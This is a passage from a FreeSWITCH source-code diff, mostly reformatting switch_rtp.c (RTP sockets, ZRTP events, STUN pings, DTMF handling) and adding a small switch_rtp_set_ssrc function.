+ rnd = rnd + (int16_t) ((x + i) * rnd2);
sum_rnd += rnd;
}
switch_normalize_to_16bit(sum_rnd);
@@ -257,8 +255,8 @@
uint32_t j = 0, k = 0;
switch_zmalloc(buf, len);
-
- for(i = 0; i < samples; i++) {
+
+ for (i = 0; i < samples; i++) {
for (j = 0; j < channels; j++) {
int32_t z = buf[i] + data[k++];
switch_normalize_to_16bit(z);
Modified: freeswitch/trunk/src/switch_rtp.c (16578 => 16579)
--- freeswitch/trunk/src/switch_rtp.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_rtp.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -140,7 +140,7 @@
switch_socket_t *sock_input, *sock_output;
switch_pollfd_t *read_pollfd;
switch_pollfd_t *jb_pollfd;
-
+
switch_sockaddr_t *local_addr;
rtp_msg_t send_msg;
@@ -252,11 +252,10 @@
rtp_session->stuncount--;
goto end;
}
-
#if 0
if (rtp_session->last_stun) {
elapsed = (unsigned int) ((switch_micro_time_now() - rtp_session->last_stun) / 1000);
-
+
if (elapsed > 30000) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No stun for a long time (PUNT!)\n");
status = SWITCH_STATUS_FALSE;
@@ -283,7 +282,7 @@
switch_socket_sendto(rtp_session->sock_output, rtp_session->remote_stun_addr, 0, (void *) packet, &bytes);
rtp_session->stuncount = rtp_session->default_stuncount;
-
+
end:
WRITE_DEC(rtp_session);
@@ -426,7 +425,7 @@
task->runtime = switch_epoch_time_now(NULL) + 900;
}
-static int zrtp_send_rtp_callback(const zrtp_stream_t* stream, char* rtp_packet, unsigned int rtp_packet_length)
+static int zrtp_send_rtp_callback(const zrtp_stream_t *stream, char *rtp_packet, unsigned int rtp_packet_length)
{
switch_rtp_t *rtp_session = zrtp_stream_get_userdata(stream);
switch_size_t len = rtp_packet_length;
@@ -444,9 +443,9 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_event_t *fsevent = NULL;
const char *type;
-
+
type = switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO) ? "video" : "audio";
-
+
switch (event) {
case ZRTP_EVENT_IS_SECURE:
{
@@ -458,24 +457,23 @@
}
if (zrtp_status_ok == zrtp_session_get(stream->session, &zrtp_session_info)) {
if (zrtp_session_info.sas_is_ready) {
-
+
switch_channel_set_variable_name_printf(channel, "true", "zrtp_secure_media_confirmed_%s", type);
switch_channel_set_variable_name_printf(channel, stream->session->sas1.buffer, "zrtp_sas1_string_%s", type);
switch_channel_set_variable_name_printf(channel, stream->session->sas2.buffer, "zrtp_sas2_string", type);
-
- zrtp_verified_set(zrtp_global, &stream->session->zid,
- &stream->session->peer_zid, zrtp_session_info.sas_is_verified^1);
-
+
+ zrtp_verified_set(zrtp_global, &stream->session->zid, &stream->session->peer_zid, zrtp_session_info.sas_is_verified ^ 1);
+
}
}
if (!switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)) {
switch_core_session_t *session = switch_core_memory_pool_get_data(rtp_session->pool, "__session");
-
+
if (session) {
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_rtp_t *video_rtp_session = switch_channel_get_private(channel, "__zrtp_video_rtp_session");
-
+
if (!video_rtp_session) {
video_rtp_session = switch_channel_get_private_partner(channel, "__zrtp_video_rtp_session");
}
@@ -491,12 +489,13 @@
zrtp_stream_start(video_rtp_session->zrtp_stream, video_rtp_session->ssrc);
}
}
- }
+ }
}
if (switch_event_create(&fsevent, SWITCH_EVENT_CALL_SECURE) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header(fsevent, SWITCH_STACK_BOTTOM, "secure_media_type", "%s", type);
- switch_event_add_header(fsevent, SWITCH_STACK_BOTTOM, "secure_type", "zrtp:%s:%s", stream->session->sas1.buffer, stream->session->sas2.buffer);
+ switch_event_add_header(fsevent, SWITCH_STACK_BOTTOM, "secure_type", "zrtp:%s:%s", stream->session->sas1.buffer,
+ stream->session->sas2.buffer);
switch_event_add_header_string(fsevent, SWITCH_STACK_BOTTOM, "caller-unique-id", switch_channel_get_uuid(channel));
switch_event_fire(&fsevent);
}
@@ -522,11 +521,10 @@
{
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "User already enrolled!\n");
switch_channel_set_variable_name_printf(channel, "true", "zrtp_already_enrolled_%s", type);
-
+
if (zrtp_status_ok == zrtp_session_get(stream->session, &zrtp_session_info)) {
if (zrtp_session_info.sas_is_ready) {
- zrtp_verified_set(zrtp_global, &stream->session->zid,
- &stream->session->peer_zid, zrtp_session_info.sas_is_verified^1);
+ zrtp_verified_set(zrtp_global, &stream->session->zid, &stream->session->peer_zid, zrtp_session_info.sas_is_verified ^ 1);
}
}
}
@@ -539,22 +537,20 @@
if (zrtp_status_ok == zrtp_session_get(stream->session, &zrtp_session_info)) {
if (zrtp_session_info.sas_is_ready) {
- zrtp_verified_set(zrtp_global, &stream->session->zid,
- &stream->session->peer_zid, zrtp_session_info.sas_is_verified^1);
+ zrtp_verified_set(zrtp_global, &stream->session->zid, &stream->session->peer_zid, zrtp_session_info.sas_is_verified ^ 1);
}
}
}
break;
-
+
case ZRTP_EVENT_USER_UNENROLLED:
{
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "User unenrolled!\n");
switch_channel_set_variable_name_printf(channel, "true", "zrtp_user_unenrolled_%s", type);
-
+
if (zrtp_status_ok == zrtp_session_get(stream->session, &zrtp_session_info)) {
if (zrtp_session_info.sas_is_ready) {
- zrtp_verified_set(zrtp_global, &stream->session->zid,
- &stream->session->peer_zid, zrtp_session_info.sas_is_verified^1);
+ zrtp_verified_set(zrtp_global, &stream->session->zid, &stream->session->peer_zid, zrtp_session_info.sas_is_verified ^ 1);
}
}
}
@@ -608,23 +604,24 @@
zrtp_config.is_mitm = 1;
zrtp_config.lic_mode = ZRTP_LICENSE_MODE_ACTIVE;
switch_snprintf(zrtp_cache_path, sizeof(zrtp_cache_path), "%s%szrtp.dat", SWITCH_GLOBAL_dirs.db_dir, SWITCH_PATH_SEPARATOR);
- zrtp_zstrcpyc( ZSTR_GV(zrtp_config.def_cache_path), zrtp_cache_path);
+ zrtp_zstrcpyc(ZSTR_GV(zrtp_config.def_cache_path), zrtp_cache_path);
zrtp_config.cb.event_cb.on_zrtp_protocol_event = zrtp_event_callback;
zrtp_config.cb.misc_cb.on_send_packet = zrtp_send_rtp_callback;
zrtp_config.cb.event_cb.on_zrtp_security_event = zrtp_event_callback;
-
- zrtp_log_set_log_engine((zrtp_log_engine*)zrtp_logger);
+
+ zrtp_log_set_log_engine((zrtp_log_engine *) zrtp_logger);
zrtp_log_set_level(4);
if (zrtp_status_ok == zrtp_init(&zrtp_config, &zrtp_global)) {
-
+
memcpy(zid, zid_string, 12);
- switch_scheduler_add_task(switch_epoch_time_now(NULL) + 900, zrtp_cache_save_callback, "zrtp_cache_save", "core", 0, NULL, SSHF_NONE | SSHF_NO_DEL);
+ switch_scheduler_add_task(switch_epoch_time_now(NULL) + 900, zrtp_cache_save_callback, "zrtp_cache_save", "core", 0, NULL,
+ SSHF_NONE | SSHF_NO_DEL);
} else {
switch_core_set_variable("zrtp_enabled", NULL);
zrtp_on = 0;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "ZRTP init failed!\n");
}
-
+
}
#endif
srtp_init();
@@ -642,15 +639,15 @@
{
switch_core_port_allocator_t *alloc = NULL;
switch_hash_index_t *hi;
- const void *var;
- void *val;
+ const void *var;
+ void *val;
switch_mutex_lock(port_lock);
for (hi = switch_hash_first(NULL, alloc_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, &var, NULL, &val);
if ((alloc = (switch_core_port_allocator_t *) val)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Destroy port allocator for %s\n", (char *)var);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Destroy port allocator for %s\n", (char *) var);
switch_core_port_allocator_destroy(&alloc);
}
}
@@ -840,7 +837,7 @@
switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);
}
- switch_socket_create_pollfd(&rtp_session->read_pollfd, rtp_session->sock_input, SWITCH_POLLIN | SWITCH_POLLERR, rtp_session->pool);
+ switch_socket_create_pollfd(&rtp_session->read_pollfd, rtp_session->sock_input, SWITCH_POLLIN | SWITCH_POLLERR, rtp_session->pool);
status = SWITCH_STATUS_SUCCESS;
*err = "Success";
@@ -867,8 +864,8 @@
SWITCH_DECLARE(void) switch_rtp_set_max_missed_packets(switch_rtp_t *rtp_session, uint32_t max)
{
if (rtp_session->missed_count >= max) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
- "new max missed packets(%d->%d) greater than current missed packets(%d). RTP will timeout.\n",
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "new max missed packets(%d->%d) greater than current missed packets(%d). RTP will timeout.\n",
rtp_session->missed_count, max, rtp_session->missed_count);
}
@@ -891,7 +888,7 @@
}
-SWITCH_DECLARE(switch_status_t) switch_rtp_set_remote_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port,
+SWITCH_DECLARE(switch_status_t) switch_rtp_set_remote_address(switch_rtp_t *rtp_session, const char *host, switch_port_t port,
switch_bool_t change_adv_addr, const char **err)
{
switch_sockaddr_t *remote_addr;
@@ -912,21 +909,15 @@
rtp_session->remote_port = port;
}
- if (rtp_session->sock_input &&
- switch_sockaddr_get_family(rtp_session->remote_addr) ==
- switch_sockaddr_get_family(rtp_session->local_addr)) {
- rtp_session->sock_output = rtp_session->sock_input;
- }
- else {
- if (rtp_session->sock_output &&
- rtp_session->sock_output != rtp_session->sock_input) {
- switch_socket_close(rtp_session->sock_output);
+ if (rtp_session->sock_input && switch_sockaddr_get_family(rtp_session->remote_addr) == switch_sockaddr_get_family(rtp_session->local_addr)) {
+ rtp_session->sock_output = rtp_session->sock_input;
+ } else {
+ if (rtp_session->sock_output && rtp_session->sock_output != rtp_session->sock_input) {
+ switch_socket_close(rtp_session->sock_output);
}
if ((status = switch_socket_create(&rtp_session->sock_output,
- switch_sockaddr_get_family(rtp_session->remote_addr),
- SOCK_DGRAM, 0, rtp_session->pool)) !=
- SWITCH_STATUS_SUCCESS)
- {
+ switch_sockaddr_get_family(rtp_session->remote_addr),
+ SOCK_DGRAM, 0, rtp_session->pool)) != SWITCH_STATUS_SUCCESS) {
*err = "Socket Error!";
}
}
@@ -967,7 +958,7 @@
rtp_session->crypto_keys[direction] = crypto_key;
memset(policy, 0, sizeof(*policy));
-
+
switch (crypto_key->type) {
case AES_CM_128_HMAC_SHA1_80:
crypto_policy_set_aes_cm_128_hmac_sha1_80(&policy->rtp);
@@ -1058,7 +1049,8 @@
rtp_session->ms_per_packet = ms_per_packet;
rtp_session->samples_per_interval = rtp_session->conf_samples_per_interval = samples_per_interval;
rtp_session->missed_count = 0;
- rtp_session->samples_per_second = (uint32_t)((double)(1000.0f / (double)(rtp_session->ms_per_packet / 1000)) * (double)rtp_session->samples_per_interval);
+ rtp_session->samples_per_second =
+ (uint32_t) ((double) (1000.0f / (double) (rtp_session->ms_per_packet / 1000)) * (double) rtp_session->samples_per_interval);
return SWITCH_STATUS_SUCCESS;
}
@@ -1067,13 +1059,13 @@
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
int change_timer = 0;
-
+
if (rtp_session->ms_per_packet && rtp_session->ms_per_packet != ms_per_packet) {
change_timer = 1;
}
switch_rtp_set_interval(rtp_session, ms_per_packet, samples_per_interval);
-
+
if (change_timer && rtp_session->timer_name) {
READ_INC(rtp_session);
WRITE_INC(rtp_session);
@@ -1081,8 +1073,8 @@
if (rtp_session->timer.timer_interface) {
switch_core_timer_destroy(&rtp_session->timer);
}
- if ((status = switch_core_timer_init(&rtp_session->timer,
- rtp_session->timer_name, ms_per_packet / 1000,
+ if ((status = switch_core_timer_init(&rtp_session->timer,
+ rtp_session->timer_name, ms_per_packet / 1000,
samples_per_interval, rtp_session->pool)) == SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
"RE-Starting timer [%s] %d bytes per %dms\n", rtp_session->timer_name, samples_per_interval, ms_per_packet);
@@ -1095,10 +1087,18 @@
WRITE_DEC(rtp_session);
READ_DEC(rtp_session);
}
-
+
return status;
}
+SWITCH_DECLARE(switch_status_t) switch_rtp_set_ssrc(switch_rtp_t *rtp_session, uint32_t ssrc)
+{
+ rtp_session->ssrc = ssrc;
+ rtp_session->send_msg.header.ssrc = htonl(rtp_session->ssrc);
+
+ return SWITCH_STATUS_SUCCESS;
+}
+
SWITCH_DECLARE(switch_status_t) switch_rtp_create(switch_rtp_t **new_rtp_session,
switch_payload_t payload,
uint32_t samples_per_interval,
@@ -1201,14 +1201,15 @@
const char *srtp_enabled = switch_channel_get_variable(channel, "sip_secure_media");
if (switch_true(srtp_enabled) && switch_true(zrtp_enabled)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "You can not have ZRTP and SRTP enabled simultaneously, ZRTP will be disabled for this call!\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+ "You can not have ZRTP and SRTP enabled simultaneously, ZRTP will be disabled for this call!\n");
switch_channel_set_variable(channel, "zrtp_secure_media", NULL);
zrtp_enabled = NULL;
}
-
+
if (switch_true(zrtp_enabled)) {
- if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)){
+ if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_VIDEO)) {
switch_channel_set_private(channel, "__zrtp_video_rtp_session", rtp_session);
master_rtp_session = switch_channel_get_private(channel, "__zrtp_audio_rtp_session");
} else {
@@ -1224,25 +1225,25 @@
if (rtp_session == master_rtp_session) {
rtp_session->zrtp_profile = switch_core_alloc(rtp_session->pool, sizeof(*rtp_session->zrtp_profile));
zrtp_profile_defaults(rtp_session->zrtp_profile, zrtp_global);
-
+
rtp_session->zrtp_profile->allowclear = 0;
rtp_session->zrtp_profile->disclose_bit = 0;
rtp_session->zrtp_profile->cache_ttl = -1;
-
+
if (zrtp_status_ok != zrtp_session_init(zrtp_global, rtp_session->zrtp_profile, zid, initiator, &rtp_session->zrtp_session)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error! zRTP INIT Failed\n");
zrtp_session_down(rtp_session->zrtp_session);
rtp_session->zrtp_session = NULL;
goto end;
}
-
+
zrtp_session_set_userdata(rtp_session->zrtp_session, session);
-
-
+
+
if (zrtp_status_ok != zrtp_stream_attach(master_rtp_session->zrtp_session, &rtp_session->zrtp_stream)) {
abort();
}
-
+
zrtp_stream_set_userdata(rtp_session->zrtp_stream, rtp_session);
if (switch_true(switch_channel_get_variable(channel, "zrtp_enrollment"))) {
@@ -1251,13 +1252,13 @@
zrtp_stream_start(rtp_session->zrtp_stream, rtp_session->ssrc);
}
}
-
+
}
}
- end:
+ end:
-#endif
+#endif
rtp_session->ready = 1;
*new_rtp_session = rtp_session;
@@ -1344,10 +1345,10 @@
SWITCH_DECLARE(switch_status_t) switch_rtp_activate_stun_ping(switch_rtp_t *rtp_session, const char *stun_ip, switch_port_t stun_port,
uint32_t packet_count, switch_bool_t funny)
{
-
- if (switch_sockaddr_info_get(&rtp_session->remote_stun_addr, stun_ip, SWITCH_UNSPEC,
+
+ if (switch_sockaddr_info_get(&rtp_session->remote_stun_addr, stun_ip, SWITCH_UNSPEC,
stun_port, 0, rtp_session->pool) != SWITCH_STATUS_SUCCESS || !rtp_session->remote_stun_addr) {
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error resolving stun ping addr\n");
return SWITCH_STATUS_FALSE;
}
@@ -1408,7 +1409,7 @@
switch_mutex_lock(rtp_session->flag_mutex);
switch_set_flag(rtp_session, SWITCH_RTP_FLAG_BREAK);
switch_set_flag(rtp_session, SWITCH_RTP_FLAG_FLUSH);
-
+
if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_NOBLOCK)) {
switch_mutex_unlock(rtp_session->flag_mutex);
return;
@@ -1446,7 +1447,8 @@
}
switch_mutex_lock(rtp_session->flag_mutex);
- ret = (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_IO) && rtp_session->sock_input && rtp_session->sock_output && rtp_session->remote_addr && rtp_session->ready == 2) ? 1 : 0;
+ ret = (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_IO) && rtp_session->sock_input && rtp_session->sock_output && rtp_session->remote_addr
+ && rtp_session->ready == 2) ? 1 : 0;
switch_mutex_unlock(rtp_session->flag_mutex);
return ret;
@@ -1491,7 +1493,7 @@
(*rtp_session)->sock_input = NULL;
switch_socket_close(sock);
- if ( (*rtp_session)->sock_output != sock ) {
+ if ((*rtp_session)->sock_output != sock) {
sock = (*rtp_session)->sock_output;
(*rtp_session)->sock_output = NULL;
switch_socket_close(sock);
@@ -1614,7 +1616,7 @@
for (x = 0; x < loops; x++) {
switch_size_t wrote = switch_rtp_write_manual(rtp_session,
- rtp_session->dtmf_data.out_digit_packet, 4, 0,
+ rtp_session->dtmf_data.out_digit_packet, 4, 0,
rtp_session->te, rtp_session->dtmf_data.timestamp_dtmf, &flags);
rtp_session->stats.outbound.raw_bytes += wrote;
@@ -1675,13 +1677,13 @@
rtp_session->dtmf_data.timestamp_dtmf = (uint32_t) (rtp_session->dtmf_data.timestamp_dtmf + offset);
}
}
-
+
wrote = switch_rtp_write_manual(rtp_session,
rtp_session->dtmf_data.out_digit_packet,
4,
rtp_session->rtp_bugs & RTP_BUG_CISCO_SKIP_MARK_BIT_2833 ? 0 : 1,
rtp_session->te, rtp_session->dtmf_data.timestamp_dtmf, &flags);
-
+
rtp_session->stats.outbound.raw_bytes += wrote;
rtp_session->stats.outbound.dtmf_packet_count++;
@@ -1722,7 +1724,7 @@
if (!switch_rtp_ready(rtp_session) || switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PROXY_MEDIA)) {
return;
}
-
+
READ_INC(rtp_session);
if (switch_rtp_ready(rtp_session)) {
@@ -1733,19 +1735,18 @@
switch_clear_flag(rtp_session, SWITCH_RTP_FLAG_DEBUG_RTP_READ);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "RTP HAS NO SESSION!\n");
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session),
- SWITCH_LOG_CONSOLE, "%s FLUSH\n",
- switch_channel_get_name(switch_core_session_get_channel(session))
- );
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session),
+ SWITCH_LOG_CONSOLE, "%s FLUSH\n", switch_channel_get_name(switch_core_session_get_channel(session))
+ );
}
}
if (!switch_test_flag(rtp_session, SWITCH_RTP_FLAG_NOBLOCK)) {
was_blocking = 1;
- switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);
+ switch_set_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);
switch_socket_opt_set(rtp_session->sock_input, SWITCH_SO_NONBLOCK, TRUE);
}
-
+
do {
if (switch_rtp_ready(rtp_session)) {
bytes = sizeof(rtp_msg_t);
@@ -1758,14 +1759,14 @@
} else {
break;
}
- } while(bytes > 0);
-
+ } while (bytes > 0);
+
if (was_blocking && switch_rtp_ready(rtp_session)) {
switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_NOBLOCK);
switch_socket_opt_set(rtp_session->sock_input, SWITCH_SO_NONBLOCK, FALSE);
}
}
-
+
READ_DEC(rtp_session);
}
@@ -1775,7 +1776,7 @@
{
switch_status_t status = SWITCH_STATUS_FALSE;
stfu_frame_t *jb_frame;
-
+
switch_assert(bytes);
*bytes = sizeof(rtp_msg_t);
@@ -1791,7 +1792,7 @@
rtp_session->stats.inbound.media_packet_count++;
rtp_session->stats.inbound.media_bytes += *bytes;
}
-
+
rtp_session->stats.inbound.packet_count++;
}
@@ -1804,9 +1805,9 @@
if (rtp_session->recv_msg.header.m && rtp_session->recv_msg.header.pt != rtp_session->te) {
stfu_n_reset(rtp_session->jb);
}
-
- stfu_n_eat(rtp_session->jb, ntohl(rtp_session->recv_msg.header.ts), rtp_session->recv_msg.header.pt,
- rtp_session->recv_msg.body, *bytes - rtp_header_len);
+
+ stfu_n_eat(rtp_session->jb, ntohl(rtp_session->recv_msg.header.ts), rtp_session->recv_msg.header.pt,
+ rtp_session->recv_msg.body, *bytes - rtp_header_len);
*bytes = 0;
status = SWITCH_STATUS_FALSE;
}
@@ -1867,7 +1868,7 @@
rtp_session->read_pollfd) {
if (switch_poll(rtp_session->read_pollfd, 1, &fdr, 0) == SWITCH_STATUS_SUCCESS) {
rtp_session->hot_hits += rtp_session->samples_per_interval;
-
+
if (rtp_session->hot_hits >= rtp_session->samples_per_second * 5) {
switch_set_flag(rtp_session, SWITCH_RTP_FLAG_FLUSH);
hot_socket = 1;
@@ -1883,8 +1884,8 @@
} else {
if (rtp_session->sync_packets) {
#if 0
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
- "Auto-Flush catching up %d packets (%d)ms.\n",
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+ "Auto-Flush catching up %d packets (%d)ms.\n",
rtp_session->sync_packets, (rtp_session->ms_per_packet * rtp_session->sync_packets) / 1000);
#endif
rtp_session->sync_packets = 0;
@@ -1893,7 +1894,7 @@
}
}
- recvfrom:
+ recvfrom:
bytes = 0;
if (!switch_rtp_ready(rtp_session)) {
@@ -1910,8 +1911,8 @@
if (rtp_session->dtmf_data.out_digit_dur > 0) {
do_2833(rtp_session);
}
- }
-
+ }
+
if (poll_status == SWITCH_STATUS_SUCCESS) {
status = read_rtp_packet(rtp_session, &bytes, flags);
} else {
@@ -1921,7 +1922,7 @@
}
poll_loop = 1;
- rtp_session->missed_count += (poll_sec * 1000 ) / (rtp_session->ms_per_packet ? rtp_session->ms_per_packet / 1000 : 20 );
+ rtp_session->missed_count += (poll_sec * 1000) / (rtp_session->ms_per_packet ? rtp_session->ms_per_packet / 1000 : 20);
bytes = 0;
if (rtp_session->max_missed_packets) {
@@ -1951,8 +1952,8 @@
}
check = !bytes;
-
- if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_BREAK) || (bytes && bytes == 4 && *((int *)&rtp_session->recv_msg) == UINT_MAX)) {
+
+ if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_BREAK) || (bytes && bytes == 4 && *((int *) &rtp_session->recv_msg) == UINT_MAX)) {
switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_BREAK);
do_2833(rtp_session);
bytes = 0;
@@ -1964,7 +1965,7 @@
switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_FLUSH);
bytes = 0;
}
-
+
if (bytes && bytes < 5) {
continue;
}
@@ -1990,34 +1991,34 @@
const char *my_host;
char bufa[30], bufb[30], bufc[30];
-
-
+
+
tx_host = switch_get_addr(bufa, sizeof(bufa), rtp_session->from_addr);
old_host = switch_get_addr(bufb, sizeof(bufb), rtp_session->remote_addr);
my_host = switch_get_addr(bufc, sizeof(bufc), rtp_session->local_addr);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_CONSOLE,
- "R %s b=%ld %s:%u %s:%u %s:%u pt=%d ts=%u m=%d\n",
+ "R %s b=%ld %s:%u %s:%u %s:%u pt=%d ts=%u m=%d\n",
switch_channel_get_name(switch_core_session_get_channel(session)),
- (long)bytes,
+ (long) bytes,
my_host, switch_sockaddr_get_port(rtp_session->local_addr),
- old_host, rtp_session->remote_port,
+ old_host, rtp_session->remote_port,
tx_host, switch_sockaddr_get_port(rtp_session->from_addr),
rtp_session->recv_msg.header.pt, ntohl(rtp_session->recv_msg.header.ts), rtp_session->recv_msg.header.m);
-
+
}
}
-
+
/* ignore packets not meant for us unless the auto-adjust window is open */
if (bytes) {
if (switch_test_flag(rtp_session, SWITCH_RTP_FLAG_AUTOADJ)) {
if (((rtp_session->cng_pt && rtp_session->recv_msg.header.pt == rtp_session->cng_pt) || rtp_session->recv_msg.header.pt == 13)) {
- goto recvfrom;
-
- }
+ goto recvfrom;
+
+ }
} else if (!switch_cmp_addr(rtp_session->from_addr, rtp_session->remote_addr)) {
- goto recvfrom;
-
+ goto recvfrom;
+
}
}
@@ -2032,8 +2033,8 @@
char adj_port[5];
tx_host = switch_get_addr(bufa, sizeof(bufa), rtp_session->from_addr);
- old_host = switch_get_addr(bufb, sizeof(bufb), rtp_session->remote_addr);
-
+ old_host = switch_get_addr(bufb, sizeof(bufb), rtp_session->remote_addr);
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
"Auto Changing port from %s:%u to %s:%u\n", old_host, old, tx_host,
switch_sockaddr_get_port(rtp_session->from_addr));
@@ -2041,7 +2042,7 @@
if (channel) {
switch_channel_set_variable(channel, "remote_media_ip_reported", switch_channel_get_variable(channel, "remote_media_ip"));
switch_channel_set_variable(channel, "remote_media_ip", tx_host);
- switch_snprintf (adj_port, sizeof(adj_port), "%u", switch_sockaddr_get_port(rtp_session->from_addr));
+ switch_snprintf(adj_port, sizeof(adj_port), "%u", switch_sockaddr_get_port(rtp_session->from_addr));
switch_channel_set_variable(channel, "remote_media_port_reported", switch_channel_get_variable(channel, "remote_media_port"));
switch_channel_set_variable(channel, "remote_media_port", adj_port);
switch_channel_set_variable(channel, "rtp_auto_adjust", "true");
@@ -2055,7 +2056,7 @@
switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
}
}
-
+
if (bytes && rtp_session->autoadj_window) {
if (--rtp_session->autoadj_window == 0) {
switch_clear_flag_locked(rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
@@ -2074,14 +2075,14 @@
if (rtp_session->recv_msg.header.pt && (rtp_session->recv_msg.header.pt == rtp_session->cng_pt || rtp_session->recv_msg.header.pt == 13)) {
return_cng_frame();
- }
+ }
}
if (!bytes && (io_flags & SWITCH_IO_FLAG_NOBLOCK)) {
return_cng_frame();
}
-
+
if (check && switch_test_flag(rtp_session, SWITCH_RTP_FLAG_AUTO_CNG) &&
rtp_session->timer.samplecount >= (rtp_session->last_write_samplecount + (rtp_session->samples_per_interval * 50))) {
uint8_t data[10] = { 0 };
@@ -2094,15 +2095,14 @@
if (check || bytes) {
do_2833(rtp_session);
}
-
#ifdef ENABLE_ZRTP
/* ZRTP Recv */
if (bytes) {
unsigned int sbytes = (int) bytes;
zrtp_status_t stat = 0;
-
- stat = zrtp_process_srtp(rtp_session->zrtp_stream, (void *)&rtp_session->recv_msg, &sbytes);
-
+
+ stat = zrtp_process_srtp(rtp_session->zrtp_stream, (void *) &rtp_session->recv_msg, &sbytes);
+
switch (stat) {
case zrtp_status_ok:
bytes = sbytes;
@@ -2120,7 +2120,7 @@
}
}
#endif
-
+
if (bytes && rtp_session->recv_msg.header.version != 2) {
uint8_t *data = (uint8_t *) rtp_session->recv_msg.body;
@@ -2131,7 +2131,7 @@
handle_stun_ping_reply(rtp_session, (void *) &rtp_session->recv_msg, bytes);
}
}
-
+
if (rtp_session->invalid_handler) {
rtp_session->invalid_handler(rtp_session, rtp_session->sock_input, (void *) &rtp_session->recv_msg, bytes, rtp_session->from_addr);
}
@@ -2183,7 +2183,6 @@
bytes = sbytes;
}
-
#ifdef DEBUG_2833
if (rtp_session->dtmf_data.in_digit_sanity && !(rtp_session->dtmf_data.in_digit_sanity % 100)) {
printf("sanity %d\n", rtp_session->dtmf_data.in_digit_sanity);
@@ -2201,7 +2200,7 @@
we put up with as much as we can so we don't have to deal with being punished for
doing it right. Nice guys finish last!
*/
- if (bytes && !switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PROXY_MEDIA) &&
+ if (bytes && !switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PROXY_MEDIA) &&
!switch_test_flag(rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833) && rtp_session->recv_msg.header.pt == rtp_session->te) {
switch_size_t len = bytes - rtp_header_len;
unsigned char *packet = (unsigned char *) rtp_session->recv_msg.body;
@@ -2235,8 +2234,8 @@
rtp_session->dtmf_data.in_digit_seq = 0;
}
}
-#ifdef DEBUG_2833
- printf("packet[%d]: %02x %02x %02x %02x\n", (int) len, (unsigned) packet[0],(unsigned)
+#ifdef DEBUG_2833
+ printf("packet[%d]: %02x %02x %02x %02x\n", (int) len, (unsigned) packet[0], (unsigned)
packet[1], (unsigned) packet[2], (unsigned) packet[3]);
#endif
@@ -2244,9 +2243,9 @@
rtp_session->dtmf_data.in_digit_seq = in_digit_seq;
#ifdef DEBUG_2833
-
- printf("read: %c %u %u %u %u %d %d %s\n",
- key, in_digit_seq, rtp_session->dtmf_data.in_digit_seq,
+
+ printf("read: %c %u %u %u %u %d %d %s\n",
+ key, in_digit_seq, rtp_session->dtmf_data.in_digit_seq,
ts, duration, rtp_session->recv_msg.header.m, end, end && !rtp_session->dtmf_data.in_digit_ts ? "ignored" : "");
#endif
/* only set sanity if we do NOT ignore the packet */
@@ -2257,7 +2256,7 @@
